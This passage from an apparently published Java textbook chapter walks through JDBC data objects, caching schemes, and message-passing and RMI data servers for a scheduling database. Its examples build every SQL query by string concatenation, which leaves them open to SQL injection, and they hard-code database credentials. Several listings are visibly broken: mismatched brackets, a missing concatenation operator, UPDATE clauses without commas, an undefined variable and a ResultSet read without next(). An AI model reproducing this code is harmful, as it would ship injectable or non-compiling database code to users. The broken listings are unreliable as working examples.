                                  + "(rid, name, type, size) VALUES "
                                  + "(ridseq.nextval, " + n + ", "
                                  + t + ", " + s + ")");
      if (rcnt == 1)
        valid = true;
      else
        valid = false;
    }
    catch (SQLException e) {
      valid = false;
    }
  }

  public int    getId()           { return rid; }

  public String getName()         { return name; }
  public void   setName(String n) { name = n; updateToDbase(); }

  public int    getType()         { return type; }
  public void   setType(int t)    { type = t; updateToDbase(); }

  public float  getSize()         { return size; }
  public void   setSize(float s)  { size = s; updateToDbase(); }

  public boolean updateFromDbase() {
    boolean success = true;

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      ResultSet r =
        s.executeQuery("SELECT name, type, size FROM resource WHERE rid = "
                       + rid);
      if (r.next()) {
        name = r.getString("name");
        type = r.getInt("type");
        size = r.getFloat("size");
      }
      else {
        success = false;
      }

      s.close();
    }
    catch (SQLException e) {
      success = false;
    }

    return success;
  }

  public boolean updateToDbase() {
    boolean success = true;

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      int numr = s.executeUpdate("UPDATE resource SET name = " + name
                                 + ", type = " + type + ", size = " + size
                                 + " WHERE rid = " + rid);
      if (numr < 1) {
        success = false;
      }
    }
    catch (SQLException s) {
      success = false;
    }

    return success;
  }

  static public Vector getAllResources() {
    Vector resList = new Vector();
    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      ResultSet r = s.executeQuery("SELECT distinct(rid) FROM resource");
      while (r.next()) {
        int id = r.getInt("rid");
        SchedResource res = new SchedResource(id);
        if (res.isValid()) {
          resList.addElement(res);
        }
      }
    }
    catch (Exception e) {};

    return resList;
  }
}

An individual SchedResource or SchedTask object can be constructed in two ways: using an integer identifier for the desired database record, or using data items representing a new database record that is to be created. In the first case, the SchedResource and SchedTask constructors set their identifiers to the one given as an argument, then try to update themselves from the database by calling their updateFromDbase() methods. Their updateFromDbase() methods create a JDBC statement from the database connection and execute a SELECT query to the database to retrieve the data for the record. If the indicated record isn't found, then the valid flag on the object is set to false. In the second case, the constructor attempts to create a new record in the database with the given data by creating a JDBC statement and executing an INSERT query to the database. If the data insertion fails, then the valid flag on the object is set to false. The SchedResource and SchedTask classes also provide static methods for retrieving all of the resources or tasks from the schedule database. SchedResource.getAllResources() returns a vector of SchedResources representing all of the resource records found in the database, and the SchedTask.getAllTasks() method does the same for SchedTask objects.

Example 7-4. Schedule Task Object

package dcj.examples.dbase;

import java.sql.*;
import java.util.Vector;

class SchedTask extends DatabaseItem {
  int tid;
  int type;
  float size;

  SchedTask(int id) {
    tid = id;
    valid = updateFromDbase();
  }

  SchedTask(int t, float sz) {
    type = t;
    size = sz;
    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      int cnt = s.executeUpdate("INSERT INTO task (tid, type, size) "
                                + "VALUES (tidseq.nextval, " + type + ", "
                                + size + ")");
      if (cnt < 1) {
        valid = false;
      }
      else {
        valid = true;
      }
    }
    catch (SQLException e) {
      valid = false;
    }
  }

  public int    getId()           { return tid; }

  public int    getType()         { return type; }
  public void   setType(int t)    { type = t; }

  public float  getSize()         { return size; }
  public void   setSize(float s)  { size = s; }

  public boolean updateFromDbase() {
    boolean success = true;

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      ResultSet r =
        s.executeQuery("SELECT type, size FROM task WHERE tid = "
                       + tid);
      if (r.next()) {
        type = r.getInt("type");
        size = r.getFloat("size");
      }
      else {
        success = false;
      }

      s.close();
    }
    catch (SQLException e) {
      success = false;
    }

    return success;
  }

  public boolean updateToDbase() {
    boolean success = true;

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      int numr = s.executeUpdate("UPDATE task SET type = "
                                 + type + ", size = " + size
                                 + " WHERE tid = " + tid);
      if (numr < 1) {
        success = false;
      }
    }
    catch (SQLException s) {
      success = false;
    }

    return success;
  }

  static public Vector getAllTasks() {
    Vector taskList = new Vector();

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      ResultSet r = s.executeQuery("SELECT distinct(tid) FROM task");
      while (r.next()) {
        int id = r.getInt("tid");
        SchedTask task = new SchedTask(id);
        if (task.isValid()) {
          taskList.addElement(task);
        }
      }
    }
    catch (Exception e) {}

    return taskList;
  }
}

TimeConstraint s and ResAssignments are created using their constructors with the relevant resource or task identifiers as arguments. The TimeConstraint constructor takes arguments that indicate its type, the IDs of two tasks that are to be constrained, and an insert flag that indicates whether the new constraint should be stored as a new record in the database. This flag is useful in situations where a local-only object is desired (e.g., a possible schedule for the existing tasks and resources is being evaluated locally before being committed to the database). The ResAssignment constructor has arguments for the ID of the resource being assigned, the ID of the task it is being assigned to, the time that the assignment is to occur, and an insert flag similar to the one for the TimeConstraint constructor. The TimeConstraint class also provides a static method, constraintsFor() , which takes a task identifier and returns all of the constraints from the database involving that task, as a list of TimeConstraint objects. ResAssignment has a similar method, assignmentsFor() , which takes a resource identifier and returns all assignments to tasks for that resource, in the form of a list of ResAssignment objects.

Example 7-5. Time Constraint Object

package dcj.examples.dbase;

import java.sql.*;
import java.util.Vector;

class TimeConstraint extends DatabaseItem {
  int ctype;
  int task1;
  int task2;

  // This constructor is used to create a representation
  // of a constraint in the database.
  public TimeConstraint(int type, int tid1, int tid2,
                        boolean insert) {
    ctype = type;
    task1 = tid1;
    task2 = tid2;

    if (insert) {
      // Create a new record in the database.
      try {
        Statement s = DatabaseItem.dbConn.createStatement();
        int numr = s.executeUpdate("INSERT INTO time_constraint "
                               + "(type, task1, task2) VALUES ("
                               + type + ", " + task1 + ", " + task2 + ")");
        if (numr != 1)
          valid = false;
        else
          valid = true;
      }
      catch (SQLException e) {
        valid = false;
      }
    }
  }

  public int getTask1Id() { return task1; }
  public int getTask2Id() { return task2; }
  public int getType() { return ctype; }

  static public Vector constraintsFor(int tid) {
    Vector constraints = new Vector();

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      ResultSet r = s.executeQuery("SELECT task1, task2, type FROM "
                                   + "time_constraint where task1 = "
                                   + tid + " or task2 = " + tid);
      while (r.next()) {
        int tid1 = r.getInt("task1");
        int tid2 = r.getInt("task2");
        int type = r.getInt("type");
        TimeConstraint c = new TimeConstraint(type, tid1, tid2,
                                              false);
        constraints.addElement(c);
      }
    }
    catch (Exception e) {}

    return constraints;
  }

  // This class represents non-indexed table data, so we can't
  // load or update one uniquely from the database
  public boolean updateFromDbase() { return false; }
  public boolean updateToDbase() { return false; }
}

Example 7-6. Resource Assignment Object

package dcj.examples.dbase;

import java.sql.*;
import java.util.Vector;
import java.util.Date;

class ResAssignment extends DatabaseItem {
  int rid;
  int tid;
  Date timestamp;

  ResAssignment(int res, int task, Date time, boolean insert) {
    rid = res;
    tid = task;
    timestamp = time;

    if (insert) {
      // Create a new record in the database.
      try {
        Statement s = DatabaseItem.dbConn.createStatement();
        int numr = s.executeUpdate("INSERT INTO res_assignment "
                     + " (resource, task, time) VALUES ("
                     + rid + ", " + tid + ", " + time + ")");
        if (numr != 1)
          valid = false;
        else
          valid = true;
      }
      catch (SQLException e) {
        valid = false;
      }
    }
  }

  public int  getResourceId() { return rid; }
  public int  getTaskId() { return tid; }
  public Date getTimeStamp() { return timestamp; }

  static public Vector assignmentsFor(int rid) {
    Vector ras = new Vector();

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      ResultSet r = s.executeQuery("SELECT task, time FROM "
                                   + "res_assignment where resource = "
                                   + rid);
      while (r.next()) {
        int tid = r.getInt("task");
        Date time = r.getDate("time");
        ResAssignment ra = new ResAssignment(rid, tid, time, false);
        ras.addElement(ra);
      }
    }
    catch (Exception e) {}

    return ras;
  }

  // This class represents non-indexed table data, so we can't
  // load or update one uniquely from the database
  public boolean updateFromDbase() { return false; }
  public boolean updateToDbase() { return false; }
}

With these data objects defined, we can now use them in several distributed application contexts to access local and remote schedule databases. If the schedule database is local, then we simply need to have the JDBC drivers for the DBMS on our class path when we run an application built against these objects. The application will create a java.sql.Connection object with the name of the local database and use it to initialize all schedule-related objects. If we want to put the database on a remote server, then we have two ways to connect these data objects to the database. If the native DBMS interface provides a network interface and if the JDBC drivers we are using support this vendor-specific network interface, then we can install the DBMS network interface and modify the URL used to create the JDBC connection to the database to reflect the remote location. If this is not an option, either because the DBMS has no network interface, or because we cannot use the DBMS network interface on the client machine for some reason, then we have the option of using JDBC drivers with their own network protocol (as we discussed in an earlier section). The database host machine would need to have the corresponding server drivers installed, including the drivers that speak the native DBMS interface protocol.

7.2.5. Data Caching Issues

The JDBC data objects previously shown cache all of their data locally, i.e., within the data object representation itself. When each data object is created, all of the data associated with that object is read from the database and stored in local data variables; these local data variables are returned in response to method calls on the data objects. This caching scheme is appropriate when the data being accessed is fairly stable, or is only updated from one client at any given time. If our scheduling database is being accessed from multiple clients, and each client updates objects in the database at will, we may want to think about a shorter-duration caching scheme.

At the opposite end of the caching spectrum are data objects that have no cached data. Each request for data from the object is serviced by generating an SQL query to the database that gets the current data from the source. If we reimplemented our SchedResource class to eliminate data caching, its data access methods would look something like this getName() method:

public String getName()
{
    String name;
    Statement s = null;
    try {
        s = dbConn.getStatement();
        ResultSet r =
         s.executeQuery("SELECT name FROM resource where rid = "
                        + rid);
        name = r.getString("name");
    }
    catch {Exception e) { name = null; }
    finally {
        if (s != null) {
            s.close();
        }
    }
    return name;
}

Complete elimination of data caching is not generally useful for remote database applications, since the additional overhead involved in having all data read dynamically is usually unacceptable. Intermediate caching schemes involve data updates of varying frequency, and only a subset of the data served from the database is cached--the data that is least likely to be updated during the lifetime of the client agent. The data update frequency can be controlled using timers; for example, if we wanted the "name" field on our resource object to be cached, but have the cache refreshed from the database every hour in case of an update, then our getName() method on our SchedResource class might look something like this:

public String getName()
{
    String currName;
    Calendar now = Calendar.getInstance();
    Calendar lastUpdate = Calendar.getInstance();
    lastUpdate.setTime(nameTimestamp);
    // Add the cache expiration time (in minutes) to the time
    // of last update
    lastUpdate.add(cacheExpirationTime, Calendar.MINUTE);
    // If the name cache has expired, then go to the database
    if (lastUpdate.before(now)) {
        try {
            Statement s = dbConn.getStatement();
            ResultSet r =
             s.executeQuery("SELECT name FROM resource where rid = "
                            + rid);
            name = r.getString("name");
            // Reset the cache timer
            nameTimestamp = new Date();
        }
        catch {Exception e) { currName = name; }
    }
    // Otherwise, use the previous value cached in the class
    // data member
    currName = name;

    return currName;
}

In this example, the resource data object has a nameTimestamp variable that is used to expire the cache for the name data member. When getName() is called, the timestamp on the cache for that variable is checked. If the time since the cache was refreshed has gone beyond the limit we set (represented in minutes by the cacheExpirationTime data member), then a call to the database is made to refresh the cache. If not, then the local data member is used as the name of the resource.

7.2.6. Remote Data Servers

Now it may become necessary to isolate the direct data access portion of our data tier on a remote data server, and provide indirect data access to the application layer. One reason for this may be that the data representations required for a given application have many interdependencies and data constraints. If we want to keep the client-side data access lean and free from this complex data logic (e.g., if we are using these data objects in an applet), then we would prefer to put the data objects on a data server and provide a simplified data access layer to the client. An example of this is the potential complexity of the SchedTask data object. Updating this object in the database could involve some complex logic for verifying the validity of existing time constraints on the task, as well as resources currently assigned to completing the task. We could avoid inflicting this complexity on the client by providing a way for the client to transmit its update request to the data server, have the data server run the request through the data dependencies, update the database, and return the result to the client. Other reasons for separating data logic from the application tier may involve security issues (e.g., the potential for reverse-engineering the bytecodes of a data object to determine the proprietary structure of a database, physical access to the database server, etc.).

If the data objects also reside on a host that is remote from the client host, then we can interface the application tier to the data tier using either the message-passing techniques discussed in Chapter 6, "Message-Passing Systems", or using distributed objects implemented in CORBA, Java RMI, or the equivalent. In the following sections, we'll examine both of these possibilities.

7.2.6.1. Message passing with the data server

To provide access to remote data using message passing, we first need to establish a data server that can respond to messages from clients and access the data referenced in the messages. This is easily accomplished using existing data objects such as those we saw earlier, by simply developing a set of messages that can talk to these data objects on the data server. We could have a GetResourceMsg class, for example, which is a message passed from a client to the data server asking for the data associated with a given resource. If we model this message-passing system after the Message and MessageHandler classes described in Chapter 6, "Message-Passing Systems", then the Do() method on GetResourceMsg might look something like this:

public boolean Do() {
    boolean success = true;
    // Get the resource ID from the message arguments
    Integer rid = (Integer)argList.elementAt(0);
    // Connect to the database.
    Connection c = DriverManager.getConnection(...);
    // Create the referenced data object from the database
    SchedResource res = new SchedResource(rid.intValue(), c);

    GetResourceResp grr = new GetResourceResp();
    // If we were able to find the resource in the database,
    // return a success flag, along with the resource data.
    if (res.isValid()) {
        grr.addArg("success");
        grr.addArg(res.getName();
        grr.addArg(new Integer(res.getType()));
        grr.addArg(new Float(res.getSize()));
    }
    // If the database query failed, return a failure flag
    else {
        grr.addArg("failed");
        success = false;
    }

    handler.sendMsg(grr);
    return success;
}

A GetResourceMsg object would be created by the MessageHandler on the data server when a message of this type was received from a data client. This Do() method would then be invoked. A SchedResource object is created, which pulls the relevant data from the database using JDBC, and the resource data is formatted into a return message to the client. On the client, we could provide message-passing versions of our data objects. These could be modeled closely after the JDBC-enabled data objects, with the implementation altered to use messages for data transactions rather than the JDBC API. For example, the constructor for a message-passing version of our SchedResource object could be implemented as shown in Example 7-7. The constructor calls an updateFromDbase() method, just as the JDBC data object does, but this method generates a GetResourceMsg message, sends it to the data server, then parses the response to extract the data.

Example 7-7. A Message-Passing Remote Data Object

class MPSchedResource {

        . . .

 MPSchedResource(int id, ScheduleMsgHandler h) {
    super(h);
    rid = id;
    valid = updateFromDbase();
  }

  public boolean updateFromDbase() {
    boolean success = true;

    try {
      GetResourceMsg gm = new GetResourceMsg(rid);
      handler.sendMsg(gm);
      Message gr = handler.readMsg();
      name = (String)r.getArg(0);
      Integer tmp = (Integer)r.getArg(1);
      type = tmp.intValue();
      Float ftmp = (Float)r.getArg(2);
      size = ftmp.floatValue();
    }
    catch (Exception e) {
      success = false;
    }

    return success;
  }

        . . .
}

With the data tier split in this way--message-passing objects on the client talking to JDBC-enabled data objects on the data server--the issue of data caching becomes more complicated. Data can now be cached in both the client agent and in the objects on the data server, if we so desire. Some of the same issues are involved in determining the proper level of caching on both levels of the data tier:

  • How frequently is each data item updated on the next data level (data server or DBMS) by agents other than our own?

  • What is the caching scheme used in the next data level?

  • What is the nature of our connection to the next data level in terms of bandwidth and reliability, and what effect does this have on the effective data throughput from the database itself to the end user?

  • How frequently can we update the local cache without imposing unreasonable overhead on data access times?

Other issues are specific to each level of the data tier. On the data server:

  • Is the data server the single entry point for data clients (e.g., a multithreaded data server), or are multiple data servers servicing data transactions?

And on the data client:

  • Are we the only client accessing this data server? Can we use network bandwidth issues alone to decide our caching scheme, or do we have to consider updates from external entities as well?

7.2.6.2. Distributed objects from the data server

Another option for splitting the data tier between the client and the data server is to use distributed objects. In this situation, data object stubs on the client use distributed object protocols to interact with data objects on the server. The server-side data objects then access the database directly, using JDBC or some other RDBMS interface library. In this section we'll develop an RMI interface to our scheduling data objects.

With the JDBC-enabled data objects for our scheduling application in hand, we need to perform the following steps to enable RMI access to them:

  • Create stub interfaces to the data objects.

  • Update the existing data objects so that they implement the stub interfaces and the appropriate RMI interfaces.

  • Provide a registered server object that can act as a schedule object server. A stub to this object will be accessed by the client through the registry, and then remote objects will be generated through its interface.

Let's define the client stub interfaces to our data objects first. Each data object that we defined in the previous section will need a remote stub; the interfaces to the remote objects are shown in Example 7-8. The RMIDatabaseItem interface mirrors the DatabaseItem class, and exports the updateToDbase() and updateFromDbase() methods. Derived from this we have stub interfaces for each of our data objects: RMISchedResource, RMISchedTask, RMITimeConstraint, and RMIResAssignment. Each of these interfaces exports the getXXX() and setXXX() methods from the schedule data classes.

Example 7-8. Schedule Data Object Stub Interfaces

package dcj.examples.dbase;

import java.util.Date;
import java.util.Vector;
import java.sql.*;
import java.rmi.*;

interface RMISchedDbaseItem extends Remote {
  public boolean updateFromDbase() throws RemoteException;
  public boolean updateToDbase() throws RemoteException;
}

interface RMISchedResource extends RMISchedDbaseItem {
  public boolean isValid() throws RemoteException;

  public int    getId() throws RemoteException;
  public String getName() throws RemoteException;
  public void   setName(String n) throws RemoteException;
  public int    getType() throws RemoteException;
  public void   setType(int t) throws RemoteException;
  public float  getSize() throws RemoteException;
  public void   setSize(float s) throws RemoteException;
}

interface RMISchedTask extends RMISchedDbaseItem {
  public boolean isValid() throws RemoteException;

  public int    getId() throws RemoteException;
  public int    getType() throws RemoteException;
  public void   setType(int t) throws RemoteException;
  public float  getSize() throws RemoteException;
  public void   setSize(float s) throws RemoteException;
}

interface RMITimeConstraint extends RMISchedDbaseItem {
  public boolean isValid() throws RemoteException;

  public int getTask1Id() throws RemoteException;
  public int getTask2Id() throws RemoteException;
  public int getType() throws RemoteException;
}

interface RMIResAssignment extends RMISchedDbaseItem {
  public boolean isValid() throws RemoteException;

  public int  getResourceId() throws RemoteException;
  public int  getTaskId() throws RemoteException;
  public Date getTimeStamp() throws RemoteException;
}

Now we need to provide the client with the ability to create new data objects. The only remote objects that the client can request directly from the remote server are objects that have been explicitly registered with the RMI registry running on the server. So we need to provide an object broker, similar to the object activation facilities provided in CORBA by the server's ORB. The RMISchedDbase interface shown in Example 7-9 serves this function by providing methods for creating new resources, tasks, constraints, and resource assignments in the database, and for retrieving existing data records from the database. The results are provided in terms of the remote stubs in Example 7-8. These methods replace the constructors and static utility methods in Example 7-7.

Example 7-9. A Schedule Data Object Server

package dcj.examples.dbase;

import java.rmi.*;
import java.util.Vector;
import java.util.Date;

public abstract interface RMISchedDbase extends Remote {
  // Methods for creating/retrieving resources
  public RMISchedResource getResource(int rid) throws RemoteException;
  public RMISchedResource newResource(String n, int t, float s)
                          throws RemoteException;
  public Vector getAllResources() throws RemoteException;

  // Methods for creating/retrieving tasks
  public RMISchedTask getTask(int id) throws RemoteException;
  public RMISchedTask newTask(int t, float sz) throws RemoteException;
  public Vector getAllTasks() throws RemoteException;

  // Methods for creating/retrieving constraints
  public RMITimeConstraint newConstraint(int type, int t1, int t2)
                           throws RemoteException;
  public Vector constraintsFor(int tid) throws RemoteException;

  // Methods for creating/retrieving resource assignments
  public RMIResAssignment newResAssignment(int rid, int tid, Date time)
                          throws RemoteException;
  public Vector assignmentsFor(int rid) throws RemoteException;
}

Now we need to turn to the server implementations of these interfaces. The server implementations of our RMI data objects are nearly identical to the first versions we discussed earlier, except that now they derive from the RMI UnicastRemote-Object class, and implement the corresponding RMI stub interface. For example, the RMI-enabled version of the SchedResource class is shown in Example 7-10, and is called SchedResourceImpl. The implementation is nearly identical to that of the SchedResource class shown in Example 7-3, except that each RMI-exported method throws RemoteException, and the class implements its RMI stub counterpart as well as the DatabaseItemImpl base class. Also, the DatabaseItemImpl class, which isn't shown here, extends the UnicastRemoteObject class, so all of its subclasses become UnicastRemote-Objects as well.

Example 7-10. RMI-Enabled Resource Object

package dcj.examples.dbase;

import java.util.Vector;
import java.util.Date;
import java.sql.*;
import java.rmi.*;
import java.rmi.server.*;
import java.rmi.registry.*;

class SchedResourceImpl extends DatabaseItem implements RMISchedResource {
  int rid;
  String name;
  int type;
  float size;

  SchedResourceImpl(int id) throws RemoteException {
    rid = id;
    valid = updateFromDbase();
  }

  SchedResourceImpl(String n, int t, float s)
    throws RemoteException {

    try {
      Statement st = DatabaseItem.dbConn.createStatement();
      int rcnt = st.executeUpdate("INSERT INTO resource "
                   "(rid, name, type, size) VALUES (ridSeq.nextVal, "
                   + n + ", " + t + ", " + s + ")");
      if (rcnt == 1)
        valid = true;
      else
        valid = false;
    }
    catch (Exception e) {
      valid = false;
    }
  }

  public int    getId() throws RemoteException
                  { return rid; }
  public String getName() throws RemoteException
                  { return name; }
  public void   setName(String n) throws RemoteException
                  { name = n; updateToDbase(); }
  public int    getType() throws RemoteException
                  { return type; }
  public void   setType(int t) throws RemoteException
                  { type = t; updateToDbase(); }
  public float  getSize() throws RemoteException
                  { return size; }
  public void   setSize(float s) throws RemoteException
                  { size = s; updateToDbase(); }

  public boolean updateFromDbase() throws RemoteException {
    boolean success = true;

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      ResultSet r =
        s.executeQuery("SELECT name, type, size FROM resource WHERE rid = "
                       + rid);
      if (r.next()) {
        name = r.getString("name");
        type = r.getInt("type");
        size = r.getFloat("size");
      }
      else {
        success = false;
      }

      s.close();
    }
    catch (SQLException e) {
      success = false;
    }

    return success;
  }

  public boolean updateToDbase() throws RemoteException {
    boolean success = true;

    try {
      Statement s = DatabaseItem.dbConn.createStatement();
      int numr = s.executeUpdate("UPDATE resource SET name = " + name
                                 + " type = " + type + " size = " + size
                                 + " WHERE rid = " + rid);
      if (numr < 1) {
        success = false;
      }
    }
    catch (SQLException s) {
      success = false;
    }

    return success;
  }
}

The implementation of the RMISchedDbase is the SchedDbaseImpl class shown in Example 7-11. In addition to implementing the utility methods that create and retrieve schedule objects from the database, the SchedDbaseImpl class also has a main() method that registers an instance of the class with the local RMI registry under a name passed in as a command-line argument. This allows clients to obtain an RMI stub to the object by looking up the object by name through their local registries.

Example 7-11. RMI-Based Data Server Object

package dcj.examples.dbase;

import java.util.Vector;
import java.util.Date;
import java.sql.*;
import java.rmi.*;
import java.rmi.server.*;
import java.rmi.registry.*;

class SchedDbaseImpl extends UnicastRemoteObject
                     implements RMISchedDbase {

  public SchedDbaseImpl() throws RemoteException { super(); }

  // main() method registers a SchedDbaseImpl object with the
  // local RMI naming service, using the first command-line
  // argument as the name of the service, and the second as
  // the URL for the JDBC connection.
  public static void main(String argv[]) {
    System.setSecurityManager(new RMISecurityManager());

    try {
      String name = argv[0];
      String dbURL = argv[1];
      System.out.println("Registering SchedDbaseImpl with "
                         + "naming service as " + name);
      SchedDbaseImpl server = new SchedDbaseImpl();
      Class.forName("weblogic.jdbc.oci.Driver");
      SchedDbaseItem.dbConn =
        DriverManager.getConnection("jdbc:weblogic:oracle:hb1",
                                    "user", "passwd");
      Registry r = LocateRegistry.getRegistry(1234);
      r.rebind(name, server);
      System.out.println(name + " ready.");
    }
    catch (Exception e) {
      System.out.println("Exception while registering "
                         + "SchedDbaseImpl: \n");
      e.printStackTrace();
      System.exit(2);
    }
  }

    // Methods for creating/retrieving resources
  public RMISchedResource getResource(int rid)
                          throws RemoteException {
    SchedResourceImpl res = new SchedResourceImpl(rid);
    return res;
  }

  public RMISchedResource newResource(String n, int t, float s)
                          throws RemoteException {
    SchedResourceImpl res = new SchedResourceImpl(n, t, s);
    return res;
  }

  public Vector getAllResources() throws RemoteException {
    Vector resList = new Vector();
    try {
      Statement s = SchedDbaseItem.dbConn.createStatement();
      ResultSet r = s.executeQuery("SELECT distinct(rid) FROM resource");
      while (r.next()) {
        int id = r.getInt("rid");
        SchedResourceImpl res = new SchedResourceImpl(id);
        if (res.isValid()) {
          resList.addElement(res);
        }
      }
    }
    catch (Exception e) {}

    return resList;
  }

  // Methods for creating/retrieving tasks
  public RMISchedTask getTask(int id) throws RemoteException {
    SchedTaskImpl task = new SchedTaskImpl(id);
    return task;
  }

  public RMISchedTask newTask(int t, float sz) throws RemoteException {
    SchedTaskImpl task = new SchedTaskImpl(t, sz);
    return task;
  }

  public Vector getAllTasks() throws RemoteException {
    Vector taskList = new Vector();
    try {
      Statement s = SchedDbaseItem.dbConn.createStatement();
      ResultSet r = s.executeQuery("SELECT distinct(tid) FROM task");
      while (r.next()) {
        int id = r.getInt("tid");
        SchedTaskImpl task = new SchedTaskImpl(id);
        if (task.isValid()) {
          taskList.addElement(task);
        }
      }
    }
    catch (Exception e) {}

    return taskList;
  }

  // Methods for creating/retrieving constraints
  public RMITimeConstraint newConstraint(int type, int t1, int t2)
                           throws RemoteException {
    TimeConstraintImpl c = new TimeConstraintImpl(type, t1, t2);

    // Create a new record in the database.
    try {
      Statement s = SchedDbaseItem.dbConn.createStatement();
      int numr = s.executeUpdate("INSERT time_constraint SET type = "
                                 + type + " task1 = " + t1
                                 + " task2 = " + t2);
      if (numr != 1)
        c.valid = false;
      else
        c.valid = true;
    }
    catch (SQLException e) {
      c.valid = false;
    }

    return c;
  }

  public Vector constraintsFor(int tid) throws RemoteException {
    Vector constraints = new Vector();

    try {
      Statement s = SchedDbaseItem.dbConn.createStatement();
      ResultSet r = s.executeQuery("SELECT task1, task2, type FROM "
                                   + "time_constraint where task1 = "
                                   + tid + " or task2 = " + tid);
      while (r.next()) {
        int tid1 = r.getInt("task1");
        int tid2 = r.getInt("task2");
        int type = r.getInt("type");
        TimeConstraintImpl c = new TimeConstraintImpl(type, tid1, tid2);
        constraints.addElement(c);
      }
    }
    catch (Exception e) {}

    return constraints;
  }

  // Methods for creating/retrieving resource assignments
  public RMIResAssignment newResAssignment(int rid, int tid, Date time)
                          throws RemoteException {
    ResAssignmentImpl r = new ResAssignmentImpl(rid, tid, time);

    // Create a new record in the database.
    try {
      Statement s = SchedDbaseItem.dbConn.createStatement();
      int numr = s.executeUpdate("INSERT res_assignment SET resource = "
                                 + rid + " task = " + tid
                                 + " time = " + time);
      if (numr != 1)
        r.valid = false;
      else
        r.valid = true;
    }
    catch (SQLException e) {
      r.valid = false;
    }

    return r;
  }

  public Vector assignmentsFor(int rid) throws RemoteException {
    Vector ras = new Vector();

    try {
      Statement s = SchedDbaseItem.dbConn.createStatement();
      ResultSet r = s.executeQuery("SELECT task, time FROM "
                                   + "res_assignment where resource = "
                                   + rid);
      while (r.next()) {
        int tid = r.getInt("task");
        Date time = r.getDate("time");
        ResAssignmentImpl ra = new ResAssignmentImpl(rid, tid, time);
        ras.addElement(ra);
      }
    }
    catch (Exception e) {}

    return ras;
  }
}

A client that uses RMI to look up objects in the database is shown in Example 7-12. This particular client is requesting an RMISchedDbase object registered under the name "ScheduleDataServer" on a remote host:

(RMISchedDbase)Naming.lookup("//my.server/ScheduleDataServer");

Example 7-12. Client for the RMI-Based Schedule Data Server

package dcj.examples.dbase;

import java.rmi.*;
import java.util.Vector;

public class RMIScheduler {
  public static void main(String argv[]) {
    System.setSecurityManager(new RMISecurityManager());
    try {
      RMISchedDbase dbase =
        (RMISchedDbase)Naming.lookup("rmi://my.server/ScheduleDataServer");
      Vector resources = dbase.getAllResources();
      System.out.println("Got " + resources.size() + " resources.");
    }
    catch (Exception e) {
      System.out.println("Exception: " + e);
      e.printStackTrace();
    }
  }
}

Before this client can access the object, we have to register an instance of the SchedDbaseImpl class on the remote data server by invoking its main() method. This can be done by executing the following rmiregistry command (the commands shown are for a Unix server):

my.server% rmiregistry &
my.server% java dcj.examples.dbase.SchedDbaseImpl ScheduleDataServer
Registering SchedDbaseImpl with naming service as ScheduleDataServer
ScheduleDataServer ready.
my.server%

Then the client scheduler can be run (the commands are shown for a Windows-based client):

C:\SCHED> java dcj.examples.dbase.RMIScheduler
Got 17 resources.

C:\SCHED>
Previous | Home | Next
7.1. An Overview of JDBC | Book Index | 7.3. Multi-Database Applications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Multi-Database Applications (Java Distributed Computing)

 Java Distributed Computing Search this book

7.3. Multi-Database Applications

So far we've discussed simple local database access from Java using JDBC, and various approaches for connecting Java agents to remote databases. Some simple extensions to these approaches allow you to connect a Java agent to multiple remote databases, and create some interesting possibilities for applications in data analysis and management.

A feature of JDBC that should be obvious from earlier sections is that it insulates the application from the proprietary details of the database. So assuming that we've encapsulated the data-access tier of our application well, and that we have local JDBC drivers that can access each database server, we can easily distribute our data across multiple database servers and still pull the data together into a single set of data objects simply by using multiple Connection objects.

As an example, suppose that the tables shown in Figure 7-3 are stored in two separate databases: all tasks and time constraints on tasks are stored in a database named "sequence" on server "data1," while resource and resource assignment data is stored in a database named "schedule" on server "data2." Our JDBC-enabled data objects now simply need access to Connections to each of these databases, assuming that the tables in the separate databases are defined the same way they were in the single database. We can modify our DatabaseItem class to contain two Connection objects, as shown in Example 7-13.

Example 7-13. Multi-Database Schedule Data Item

abstract class DatabaseItem {
  static Connection seqConn;
  static Connection schedConn;

  boolean valid;

  public boolean isValid() { return valid; }

  protected abstract boolean updateToDbase();
  protected abstract boolean updateFromDbase();
}

Our application or applet would then initialize these database connections to access the correct DBMS servers:

Class.forName("my.custom.dbase.Driver");
SchedDbaseItem.seqConn =
    DriverManager.getConnection("jdbc:mydriver:data1:sequence",
                                "myuser", "mypassword");
SchedDbaseItem.schedConn =
    DriverManager.getConnection("jdbc:mydriver:data2:schedule",
                                "myuser", "mypassword");

Finally, each of our data objects would invoke the necessary Connection object to access its data. With these two database connections available to all DatabaseItems in the system, the SchedResource.updateToDbase() method would access the "schedule" database for its data,

Statement s = DatabaseItem.schedConn.createStatement();
int numr = s.executeUpdate("UPDATE resource SET name = " + name
                           + ", type = " + type + ", size = " + size
                           + " WHERE rid = " + rid);

while the SchedTask.updateToDbase() method would access the "sequence" database:

Statement s = SchedDbaseItem.dbConn.createStatement();
int numr = s.executeUpdate("UPDATE task SET type = "
                           + type + ", size = " + size
                           + " WHERE tid = " + tid);

The ease with which data in multiple databases is accessible using JDBC can be a bit deceiving, however. Many other issues come to bear on a system that is accessing or updating data from multiple remote data servers--one is the issue of maintaining data integrity between the databases. In our example, we've put ourselves in a tricky spot by requiring that the task and resource identifiers must be synchronized between the two sets of data tables. If we can guarantee that our Java data objects are the only agents that update data in these tables, it's simply a matter of building the right logic into our classes to ensure that identifiers are kept synchronized between the data servers. If not, then we should really look into other options, such as using our own secondary tables to maintain cross-references between the data servers, linking the two databases at the relational level (if the network connectivity between them allows us to do this), or even merging the two databases back into a single data server.

Previous | Home | Next
7.2. Remote Database Applications | Book Index | 8. Bandwidth-Limited Systems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bandwidth-Limited Systems (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 8. Bandwidth-Limited Systems

Contents:

Flavors of Limited Bandwidth
Coping with Limited Bandwidth
Scope of This Chapter
Monitoring Bandwidth
Bandwidth Management

